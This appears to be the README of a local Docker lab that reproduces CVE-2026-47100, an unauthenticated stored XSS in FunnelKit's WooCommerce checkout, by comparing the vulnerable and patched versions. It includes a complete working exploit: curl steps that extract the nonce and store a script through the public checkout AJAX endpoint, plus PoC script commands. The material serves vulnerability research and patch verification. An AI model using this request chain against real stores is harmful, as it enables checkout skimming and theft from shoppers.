
Local Docker lab for reproducing CVE-2026-47100, an unauthenticated Stored XSS in FunnelKit for WooCommerce. Includes PoC scripts to compare vulnerable and patched versions.
Local Docker lab for reproducing CVE-2026-47100 in a safe, least-harm way. This lab compares a vulnerable FunnelKit version against a patched version and verifies the behavior using a harmless JavaScript marker/alert.
CVE-2026-47100 is a missing authorization vulnerability in Funnel Builder / FunnelKit for WooCommerce Checkout before version 3.15.0.3.
The vulnerable checkout AJAX flow allows an unauthenticated visitor to invoke an internal plugin method and write data into FunnelKit's built-in global external script setting. Because that setting is later rendered on FunnelKit checkout pages, the issue can become unauthenticated Stored XSS on checkout pages.
This repository reproduces the issue locally using two Docker services:
| Service | Version | URL | Expected result |
|---|
vuln | 3.15.0.2 | http://127.0.0.1:8081 | vulnerable behavior confirmed |
patched | 3.15.0.3 | http://127.0.0.1:8082 | write blocked / marker not rendered |

Initial CVE selection from Vulnx output. The lab and PoC were built manually by comparing vulnerable and patched behavior.
An unauthenticated attacker can abuse the public checkout AJAX flow to persist JavaScript into FunnelKit's global external script setting.
In a real WooCommerce store, this could allow malicious JavaScript to run in the browser of users visiting the checkout page. Public reporting has linked this vulnerability class to checkout skimming campaigns.
This lab intentionally uses only a harmless proof marker:
<script>window.CVE_2026_47100_LAB_PROOF="ok";alert("CVE-2026-47100 LAB Stored XSS")</script>
The vulnerable version accepts user-controlled checkout data from the public WooCommerce AJAX endpoint:
/?wc-ajax=update_order_review
Inside the FunnelKit checkout flow, the request can include:
wfacp_input_hidden_data={"action":"update_global_settings_fields", ...}
The vulnerable logic checks whether the supplied action name exists as a class method. If the method exists, it can be invoked from the public checkout flow.
Simplified vulnerable behavior:
if ( method_exists( __CLASS__, $action ) ) {
self::$output_resp = self::$action( $input_data );
}
The important attacker-controlled action is:
update_global_settings_fields
That method updates the WordPress option:
_wfacp_global_settings
and specifically the built-in FunnelKit key:
wfacp_global_external_script
The stored value is later read by the checkout template and rendered on the checkout page. This creates the Stored XSS condition.
Exploit chain:
Unauthenticated checkout visitor
→ public WooCommerce update_order_review AJAX
→ attacker-controlled wfacp_input_hidden_data[action]
→ update_global_settings_fields()
→ update_option('_wfacp_global_settings')
→ wfacp_global_external_script rendered on checkout page
→ Stored XSS
Version 3.15.0.3 hardens the vulnerable path with two important changes.
The patched version restricts which checkout actions can be invoked from the public checkout flow.
Simplified patched behavior:
$allowed_actions = array(
'update_cart_item_quantity',
'update_cart_multiple_page',
'remove_cart_item',
'undo_cart_item',
'prep_fees',
);
if (
is_string( $action ) &&
in_array( $action, $allowed_actions, true ) &&
method_exists( __CLASS__, $action )
) {
self::$output_resp = self::$action( $input_data );
}
This prevents arbitrary internal methods such as update_global_settings_fields from being dispatched by unauthenticated checkout requests.
The patched version also adds an authorization check before global settings can be updated:
if ( ! current_user_can( 'manage_woocommerce' ) ) {
return $resp;
}
This means the global external script setting should only be writable by users with WooCommerce management privileges.
host
├── http://127.0.0.1:8081 → WordPress + WooCommerce + FunnelKit 3.15.0.2
└── http://127.0.0.1:8082 → WordPress + WooCommerce + FunnelKit 3.15.0.3
The seed process creates:
Lab Product
- WooCommerce product used to create a valid cart/session
- expected product ID in clean lab: 10
Lab Funnel Checkout
- FunnelKit checkout page used to trigger the checkout AJAX flow
- expected checkout post ID in clean lab: 11
The lab uses a deterministic checkout URL:
/?post_type=wfacp_checkout&p=11
This explicitly loads the FunnelKit checkout custom post in the local Docker lab.
Start the lab:
docker compose up -d --build
Check services:
docker compose ps
Expected services:
vuln http://127.0.0.1:8081
patched http://127.0.0.1:8082
Install Python dependencies:
python3 -m venv .venv
. .venv/bin/activate
pip install requests
poc/poc_lab.py is the deterministic lab PoC.
It assumes the local Docker seed values:
product_id = 10
checkout_post_id = 11
Run against the vulnerable service:
python3 poc/poc_lab.py http://127.0.0.1:8081
Expected result:
[*] AJAX action: update_global_settings_fields
[*] AJAX status: True
[*] AJAX msg: Changes saved
[*] Marker rendered in HTML: True
=== Result ===
likely_vulnerable: True
[+] Vulnerable behavior confirmed.
Run against the patched service:
python3 poc/poc_lab.py http://127.0.0.1:8082
Expected result:
[*] AJAX action: update_global_settings_fields
[*] AJAX status: None
[*] AJAX msg: None
[*] Marker rendered in HTML: False
=== Result ===
likely_vulnerable: False
[-] Vulnerable behavior was not confirmed.
[-] On patched targets this is expected.
poc/poc_check.py is a more portable authorized self-test tool.
Passive check only:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11"
Active authorized check:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized
Marker-only mode without alert:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized \
--marker-only
Cleanup attempt:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized \
--cleanup
Create a fresh WooCommerce session and add the lab product to cart:
rm -f /tmp/cve47100-vuln.cookies
curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
"http://127.0.0.1:8081/?add-to-cart=10" >/dev/null
Fetch the FunnelKit checkout page and extract the WooCommerce checkout nonce:
CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
"http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11")
NONCE=$(printf '%s' "$CHECKOUT_HTML" \
| grep -oE '"update_order_review_nonce":"[^"]+"' \
| head -n1 \
| cut -d: -f2 \
| tr -d '"')
echo "NONCE=$NONCE"
Send the crafted checkout AJAX request:
curl -i "http://127.0.0.1:8081/?wc-ajax=update_order_review" \
-c /tmp/cve47100-vuln.cookies \
-b /tmp/cve47100-vuln.cookies \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
--data-urlencode "security=${NONCE}" \
--data-urlencode "payment_method=cod" \
--data-urlencode "country=TH" \
--data-urlencode "state=" \
--data-urlencode "postcode=10110" \
--data-urlencode "city=Bangkok" \
--data-urlencode "address=Lab Street" \
--data-urlencode "address_2=" \
--data-urlencode "s_country=TH" \
--data-urlencode "s_state=" \
--data-urlencode "s_postcode=10110" \
--data-urlencode "s_city=Bangkok" \
--data-urlencode "s_address=Lab Street" \
--data-urlencode "s_address_2=" \
--data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'
Verify the option was written:
docker compose exec vuln wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json
Expected result:
{
"wfacp_global_external_script": "<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")<\/script>",
"wfacp_checkout_global_css": ""
}
Verify the marker is rendered:
curl -s "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
| grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'
Open in a browser to see the harmless alert:
http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11
Repeat the same flow against port 8082:
rm -f /tmp/cve47100-patched.cookies
curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
"http://127.0.0.1:8082/?add-to-cart=10" >/dev/null
CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
"http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11")
NONCE=$(printf '%s' "$CHECKOUT_HTML" \
| grep -oE '"update_order_review_nonce":"[^"]+"' \
| head -n1 \
| cut -d: -f2 \
| tr -d '"')
echo "NONCE=$NONCE"
curl -i "http://127.0.0.1:8082/?wc-ajax=update_order_review" \
-c /tmp/cve47100-patched.cookies \
-b /tmp/cve47100-patched.cookies \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
--data-urlencode "security=${NONCE}" \
--data-urlencode "payment_method=cod" \
--data-urlencode "country=TH" \
--data-urlencode "state=" \
--data-urlencode "postcode=10110" \
--data-urlencode "city=Bangkok" \
--data-urlencode "address=Lab Street" \
--data-urlencode "address_2=" \
--data-urlencode "s_country=TH" \
--data-urlencode "s_state=" \
--data-urlencode "s_postcode=10110" \
--data-urlencode "s_city=Bangkok" \
--data-urlencode "s_address=Lab Street" \
--data-urlencode "s_address_2=" \
--data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'
Verify the option remains unchanged:
docker compose exec patched wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json
Expected result:
[]
Verify the marker is not rendered:
curl -s "http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11" \
| grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'
Expected result: no output.
The vulnerable service confirms the issue when all of the following are true:
AJAX action: update_global_settings_fields
AJAX status: True
AJAX msg: Changes saved
Marker rendered in HTML: True
The patched service confirms the fix when:
AJAX action: update_global_settings_fields
AJAX status: None
AJAX msg: None
Marker rendered in HTML: False
_wfacp_global_settings remains []
This repository is for local, authorized security research only.
Allowed scope:
localhost
127.0.0.1
Docker Compose lab network
systems you own or have explicit written permission to test
Not allowed:
payment skimming
cookie theft
token theft
credential harvesting
external exfiltration
unauthorized testing of third-party stores
The PoC uses a harmless alert and marker only.